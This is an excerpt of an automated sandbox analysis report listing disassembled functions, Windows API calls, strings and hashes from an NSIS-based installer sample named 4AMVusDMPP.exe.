Source File: 00000000.00000002.1796014178.000000006E881000.00000020.00000001.01000000.00000004.sdmp, Offset: 6E880000, based on PE: true

Associated: 00000000.00000002.1795909568.000000006E880000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1796060070.000000006E884000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1796249019.000000006E886000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e880000_4AMVusDMPP.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: e0cff58bec407db29ca33ae6d12492b747d47d70cda0b2599b9936940e2bfec1
Instruction ID: a836d61bd2b6a8ee1d218bd2bbb7858eb697e7d8d0975cf18a6ea6c57adc49e5
Opcode Fuzzy Hash: e0cff58bec407db29ca33ae6d12492b747d47d70cda0b2599b9936940e2bfec1
Instruction Fuzzy Hash: 2D319C72544606EFCB54CFD8D894C6B7BBAFB873047104D29FD45872A0CB39A816CBA2

Function 004028AD Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 00402901
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 0040291D
GlobalFree.KERNEL32(?), ref: 00402956
GlobalFree.KERNEL32(00000000), ref: 00402969
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000000F0), ref: 00402981
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 00402995

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: ad54be54d1b33f2c3e643305ac3600c2e6c22dcacd93b56e136af0bf18fa41fc
Instruction ID: fa73a2a76dd28b4b8719808dd60f9f08d060129827b0ffc87b4efdc8f5ae5e12
Opcode Fuzzy Hash: ad54be54d1b33f2c3e643305ac3600c2e6c22dcacd93b56e136af0bf18fa41fc
Instruction Fuzzy Hash: 3D21BFB1D00124BBCF116FA5DE48D9E7E79EF09364F10023AF9607A2E1CB794D418B98

Function 00404C0C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00423728,00423728,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404CAD
wsprintfW.USER32 ref: 00404CB6
SetDlgItemTextW.USER32(?,00423728), ref: 00404CC9

Strings

%u.%u%s%s, xrefs: 00404C97
(7B, xrefs: 00404C9F

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$(7B
API String ID: 3540041739-1320723960
Opcode ID: c06007edea0c83b5e0931fd45a2cd42dabd82a11b0b4461ae96ab8921206da46
Instruction ID: eedca0a42859d703ec1426aadcab00983e9769f6aa36ce56d5d2522b0312c54d
Opcode Fuzzy Hash: c06007edea0c83b5e0931fd45a2cd42dabd82a11b0b4461ae96ab8921206da46
Instruction Fuzzy Hash: A711D873A0412837EB00556DAC45EDE3298EB85374F254237FA26F31D1D9798C6282E8

Function 00402598 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69stringCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\nslE077.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nslE077.tmp\System.dll,00000400,?,?,00000021), ref: 004025E8
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nslE077.tmp\System.dll,?,?,C:\Users\user\AppData\Local\Temp\nslE077.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nslE077.tmp\System.dll,00000400,?,?,00000021), ref: 004025F3

Strings

C:\Users\user\AppData\Local\Temp\nslE077.tmp\System.dll, xrefs: 004025B3, 004025DA, 004025EE, 0040263A
C:\Users\user\AppData\Local\Temp\nslE077.tmp, xrefs: 004025E1

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nslE077.tmp$C:\Users\user\AppData\Local\Temp\nslE077.tmp\System.dll
API String ID: 3109718747-1319910193
Opcode ID: 2504939cc2fa207c3b55af63f84819462ffbd17dbd09f8919900b39cf6f986df
Instruction ID: c13fbae436403556d6c48d38c5ac6db5007ae9437622b5a65b164b2cac9ab4a1
Opcode Fuzzy Hash: 2504939cc2fa207c3b55af63f84819462ffbd17dbd09f8919900b39cf6f986df
Instruction Fuzzy Hash: FB110B72A00301BADB106BB18E8999F7664AF44359F20443BF502F21D0D9FC89416B5E

Function 6E8818D9 Relevance: 7.7, APIs: 5, Instructions: 194COMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(?), ref: 6E88193A
GlobalFree.KERNEL32(?), ref: 6E881ADA
GlobalFree.KERNEL32(?), ref: 6E881ADF

Memory Dump Source

Source File: 00000000.00000002.1796014178.000000006E881000.00000020.00000001.01000000.00000004.sdmp, Offset: 6E880000, based on PE: true

Associated: 00000000.00000002.1795909568.000000006E880000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1796060070.000000006E884000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1796249019.000000006E886000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e880000_4AMVusDMPP.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: 7452bfe1601d5cc163abc5638392e544e221f0c820a0566ca9fd28e2e709f075
Instruction ID: f4680763edd92ebfee8b6b37cb02bc026fe5860fe8e7412ef6fa6d94e9da356a
Opcode Fuzzy Hash: 7452bfe1601d5cc163abc5638392e544e221f0c820a0566ca9fd28e2e709f075
Instruction Fuzzy Hash: 7151D432E9415A9FCB509FE9C8805AFB7BAEF46314B004E59DC34A3284DF749E89C791

Function 6E882394 Relevance: 7.6, APIs: 5, Instructions: 135memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 6E8824D6

Part of subcall function 6E88122C: lstrcpynW.KERNEL32(00000000,?,6E8812DF,00000019,6E8811BE,-000000A0), ref: 6E88123C

GlobalAlloc.KERNEL32(00000040), ref: 6E88245C
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 6E882477

Memory Dump Source

Source File: 00000000.00000002.1796014178.000000006E881000.00000020.00000001.01000000.00000004.sdmp, Offset: 6E880000, based on PE: true

Associated: 00000000.00000002.1795909568.000000006E880000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1796060070.000000006E884000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1796249019.000000006E886000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e880000_4AMVusDMPP.jbxd

Similarity

API ID: Global$AllocByteCharFreeMultiWidelstrcpyn
String ID:
API String ID: 4216380887-0
Opcode ID: 3109f338462ac2475bb91a738c8f51b6ada2ae98b992476344030ebad0c5bbc8
Instruction ID: 1de588003febf83b03c51c1f201fe6f06fa47a45f7a2309cc90e6266b237e3c9
Opcode Fuzzy Hash: 3109f338462ac2475bb91a738c8f51b6ada2ae98b992476344030ebad0c5bbc8
Instruction Fuzzy Hash: 0C41FFB1048709DFC754DFA9D850A6777F8FB9A310F004D5EEC1A875A1EB38A489CBA1

Function 00401DB9 Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401DBC
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401DD6
MulDiv.KERNEL32(00000000,00000000), ref: 00401DDE
ReleaseDC.USER32(?,00000000), ref: 00401DEF
CreateFontIndirectW.GDI32(0040CDD8), ref: 00401E3E

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: e8aeef341752f35f6f278e7796ab08014b9ac4723c71950966d24e93e9008032
Instruction ID: 863f18fc6204ba506076eb1f746ada73c94881a68b515e1873f2d1072bd1cf43
Opcode Fuzzy Hash: e8aeef341752f35f6f278e7796ab08014b9ac4723c71950966d24e93e9008032
Instruction Fuzzy Hash: 15017171944240EFE701ABB4AF8ABD97FB4AF55301F10457EE242F61E2CA7804459F2D

Function 6E88161D Relevance: 7.5, APIs: 5, Instructions: 41memorylibraryloaderCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,6E8821EC,?,00000808), ref: 6E881635
GlobalAlloc.KERNEL32(00000040,00000000,?,00000000,6E8821EC,?,00000808), ref: 6E88163C
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,6E8821EC,?,00000808), ref: 6E881650
GetProcAddress.KERNEL32(6E8821EC,00000000), ref: 6E881657
GlobalFree.KERNEL32(00000000), ref: 6E881660

Memory Dump Source

Source File: 00000000.00000002.1796014178.000000006E881000.00000020.00000001.01000000.00000004.sdmp, Offset: 6E880000, based on PE: true

Associated: 00000000.00000002.1795909568.000000006E880000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1796060070.000000006E884000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1796249019.000000006E886000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e880000_4AMVusDMPP.jbxd

Similarity

API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
String ID:
API String ID: 1148316912-0
Opcode ID: 01954d708cf538021f7efdcedc91bf6d451851923f96e3175cd16605dd1259c6
Instruction ID: cddfb50901baf16117c159a7227b35307d88becb6323131ee7fe35f1858585b4
Opcode Fuzzy Hash: 01954d708cf538021f7efdcedc91bf6d451851923f96e3175cd16605dd1259c6
Instruction Fuzzy Hash: DBF0AC73206538BBDA6116AA8C4CC9BBE9CDFCB2F5B110215FA2DD219086615D02D7F1

Function 00401D5D Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D63
GetClientRect.USER32(00000000,?), ref: 00401D70
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D91
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D9F
DeleteObject.GDI32(00000000), ref: 00401DAE

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: f8e0c1d3071f89bffdcd2d635822fb410905a1edc8d2ce6cb8a0a09a78f20d84
Instruction ID: 8bbc6a183a468c813578a114873fb97f9d5ca0b11dae6a70aa3aa56fe52826a6
Opcode Fuzzy Hash: f8e0c1d3071f89bffdcd2d635822fb410905a1edc8d2ce6cb8a0a09a78f20d84
Instruction Fuzzy Hash: 4BF0FF72A04518AFDB01DBE4DF88CEEB7BCEB48301B14047AF641F61A0CA749D519B38

Function 00401C1F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C8F
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CA7

Strings

!, xrefs: 00401C5B

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 204806375d4f16312a37781d02af86e184349cdc68ded53cac09897120414cdc
Instruction ID: ef61c68cd4a6cc3a6f3726d4b558d534156d03c1c75d5f5b51cfe904c604fa23
Opcode Fuzzy Hash: 204806375d4f16312a37781d02af86e184349cdc68ded53cac09897120414cdc
Instruction Fuzzy Hash: A621B471948209AEEF049FA5DA4AABD7BB4EB44304F14443EF605B61D0D7B845409B18

Function 00405CBD Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00403492,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,75573420,004036EF,?,00000006,00000008,0000000A), ref: 00405CC3
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,00403492,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,75573420,004036EF,?,00000006,00000008,0000000A), ref: 00405CCD
lstrcatW.KERNEL32(?,0040A014,?,00000006,00000008,0000000A), ref: 00405CDF

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405CBD

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-4083868402
Opcode ID: cc3b6fad2320eb0d125534955cb1fe8af3638bf69e103b669ecb1462063790d4
Instruction ID: 595fb0ef6d3bfc82903baa2f142a0de03b6946227050b98ce465681b6cfad29b
Opcode Fuzzy Hash: cc3b6fad2320eb0d125534955cb1fe8af3638bf69e103b669ecb1462063790d4
Instruction Fuzzy Hash: AED0A771101630AAC111AB448D04CDF63ACEE45304342003BF601B70A2CB7C1D6287FD

Function 00405DC5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

Part of subcall function 00405D68: CharNextW.USER32(?,?,00425F30,?,00405DDC,00425F30,00425F30,?,?,75572EE0,00405B1A,?,C:\Users\user\AppData\Local\Temp\,75572EE0,00000000), ref: 00405D76
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D7B
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D93

lstrlenW.KERNEL32(00425F30,00000000,00425F30,00425F30,?,?,75572EE0,00405B1A,?,C:\Users\user\AppData\Local\Temp\,75572EE0,00000000), ref: 00405E1E
GetFileAttributesW.KERNEL32(00425F30,00425F30,00425F30,00425F30,00425F30,00425F30,00000000,00425F30,00425F30,?,?,75572EE0,00405B1A,?,C:\Users\user\AppData\Local\Temp\,75572EE0), ref: 00405E2E

Strings

0_B, xrefs: 00405DCB

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: 0_B
API String ID: 3248276644-2128305573
Opcode ID: df6e64e4f6769b316d4c1c7beb25aaa03b2c49ca2ab4503c480f7fe4b4eab687
Instruction ID: e2ef3bf648e1011fa726b67e088789f036b8871ba300d86fb9c867912b04298b
Opcode Fuzzy Hash: df6e64e4f6769b316d4c1c7beb25aaa03b2c49ca2ab4503c480f7fe4b4eab687
Instruction Fuzzy Hash: B4F0F439109E5116D62233365D09BEF0548CF82354B5A853BFC91B22D2DB3C8A539DFE

Function 004059D1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00426730,Error launching installer), ref: 004059FA
CloseHandle.KERNEL32(?), ref: 00405A07

Strings

Error launching installer, xrefs: 004059E4

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 6d78ed6c6b667bfe634139d4e18f22187190c1a967eebebbcf2d401a0833c7e8
Instruction ID: 166b032e71181ba573d10d742cd21a74b10ba840f41c43b266edefbe5b435367
Opcode Fuzzy Hash: 6d78ed6c6b667bfe634139d4e18f22187190c1a967eebebbcf2d401a0833c7e8
Instruction Fuzzy Hash: E5E04FB0A102097FEB009B64ED49F7B76ACFB04208F404531BD00F2150D774A8208A7C

Function 00403A43 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00000000,75572EE0,00403A1A,75573420,00403819,00000006,?,00000006,00000008,0000000A), ref: 00403A5D
GlobalFree.KERNEL32(?), ref: 00403A64

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403A55

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-4083868402
Opcode ID: e06207bb45b670d34af272b3fb1259f6a40c1f68299225e6b4906b67dd7614d2
Instruction ID: 7abb624b42f0eb5bf3103b67fd66c27476adae564a61ccebc81435f3e7eba37d
Opcode Fuzzy Hash: e06207bb45b670d34af272b3fb1259f6a40c1f68299225e6b4906b67dd7614d2
Instruction Fuzzy Hash: 73E0EC326111205BC6229F59AD44B5E776D6F58B22F0A023AE8C07B26087745D938F98

Function 00405D09 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(80000000,C:\Users\user\Desktop,00402F9C,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\4AMVusDMPP.exe,C:\Users\user\Desktop\4AMVusDMPP.exe,80000000,00000003), ref: 00405D0F
CharPrevW.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402F9C,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\4AMVusDMPP.exe,C:\Users\user\Desktop\4AMVusDMPP.exe,80000000,00000003), ref: 00405D1F

Strings

C:\Users\user\Desktop, xrefs: 00405D09

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-1876063424
Opcode ID: e4f7a16c0d3aeb27420e4918e5816bacf7b9900a4c75110623d7ea7fd9e9117e
Instruction ID: 65148869c9b5617484fe42b3676c909fd92059a2a8224d2a454660f99163d925
Opcode Fuzzy Hash: e4f7a16c0d3aeb27420e4918e5816bacf7b9900a4c75110623d7ea7fd9e9117e
Instruction Fuzzy Hash: A3D0A7B7410920EAD3126B04DC04D9F73ACEF51300B46843BE840A7171D7785CD18BEC

Function 6E8810E1 Relevance: 5.1, APIs: 4, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 6E88116A
GlobalFree.KERNEL32(00000000), ref: 6E8811C7
GlobalFree.KERNEL32(00000000), ref: 6E8811D9
GlobalFree.KERNEL32(?), ref: 6E881203

Memory Dump Source

Source File: 00000000.00000002.1796014178.000000006E881000.00000020.00000001.01000000.00000004.sdmp, Offset: 6E880000, based on PE: true

Associated: 00000000.00000002.1795909568.000000006E880000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1796060070.000000006E884000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1796249019.000000006E886000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e880000_4AMVusDMPP.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: b5f4b6e2e4fe145a844cef98f7370c964a7918475180aab3459a394529dc9d59
Instruction ID: 847e4d110e848651a08152da87a2f3bafe3606e515d11b90f0bfbb9579420275
Opcode Fuzzy Hash: b5f4b6e2e4fe145a844cef98f7370c964a7918475180aab3459a394529dc9d59
Instruction Fuzzy Hash: 9B316BBA5002069FDB408FEDC845A6777E8EB47714B10092AEC69DA250EF35DC49C7A1

